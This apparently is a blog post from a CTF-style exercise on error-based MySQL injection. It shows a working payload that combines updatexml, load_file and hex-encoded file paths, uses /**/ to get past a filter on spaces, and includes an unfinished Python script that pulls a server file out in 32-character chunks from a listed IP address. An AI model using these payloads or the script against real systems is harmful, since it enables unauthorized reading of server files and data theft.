博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQL注入文件读取通过from for分页读取
阅读量:4883 次
发布时间:2019-06-11

本文共 1758 字,大约阅读时间需要 5 分钟。

http://103.238.227.13:10088/?id=1

在读取文件的时候发现不能够一下子全部读取出来。经过百度学习了一下,看到别人使用from for说实在此前真不知道这操作。

先来看一下from for吧

1 mysql> select database(); 2 +------------+ 3 | database() | 4 +------------+ 5 | typecho    | 6 +------------+ 7 1 row in set (0.00 sec) 8  9 mysql> select substr(database() from 1 for 2);10 +---------------------------------+11 | substr(database() from 1 for 2) |12 +---------------------------------+13 | ty                              |14 +---------------------------------+15 1 row in set (0.00 sec)16 17 mysql> select substr(database() from 2 for 3);18 +---------------------------------+19 | substr(database() from 2 for 3) |20 +---------------------------------+21 | ype                             |22 +---------------------------------+23 1 row in set (0.00 sec) #说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。

大概懂了吧,就是起到一个分页的效果。

那么再用到注入里自然就OK了。

PS:过滤了空格可以用使用/**/进行替换,还有就是updatexml最多只能显示32位的长度,所以for的数字是32。

http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/1/**/for/**/32)),1),1)

然后写一个脚本吧from后面的数字每次+32,for也要加就可以了。

以下脚本待完善。

1 #!/usr/bin/env python 2 #encoding:utf-8 3 #by i3ekr 4  5 import requests,re 6 from lxml import etree 7 n1 = 1 8 n2 = 32 9 10 for i in range(0,100):11     url ="""12 http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/%d/**/for/**/%d)),1),1)13     """%(n1,n2)14     html = requests.get(url,timeout=5).text15     print(html)16     result=re.findall(html,"[A-Z][0-9][A-Z][0-9]")17     result = re.findall("[A-Z][0-9][A-Z][0-9]{
29}",html)18 print(result)19 n1+=3120 n2+=32

 

转载于:https://www.cnblogs.com/nul1/p/9297045.html

你可能感兴趣的文章
通过实例理解委托、lambda的演变
查看>>
javascript中数据类型转换
查看>>
ubuntu14安装node0.12.7
查看>>
JDBC的使用和SQL注入问题
查看>>
Sublime插件WakaTime使用
查看>>
vue-cli笔记
查看>>
xml转义字符在mybatis动态sql中的使用
查看>>
redis为什么设计成单线程并且还这么快?
查看>>
Lesson 45-46 Kids
查看>>
CocoaPods 1.0之前版本无法pod install和pod update! 更新后CocoaPods 1.1.1 Podfile新的写法....
查看>>
Java复习第一天——数组存储位置
查看>>
Java复习-基础类库
查看>>
Log4j rootLogger配置
查看>>
TCP、UDP、HTTP知识整理
查看>>
ORACLE 内置函数之GREATEST和LEAST
查看>>
C#语音朗读文本 — TTS的实现
查看>>
php常用易混淆概念
查看>>
本机搭建iis 开发环境
查看>>
js读取ognl表达式的内容
查看>>
layer弹出层全屏及关闭
查看>>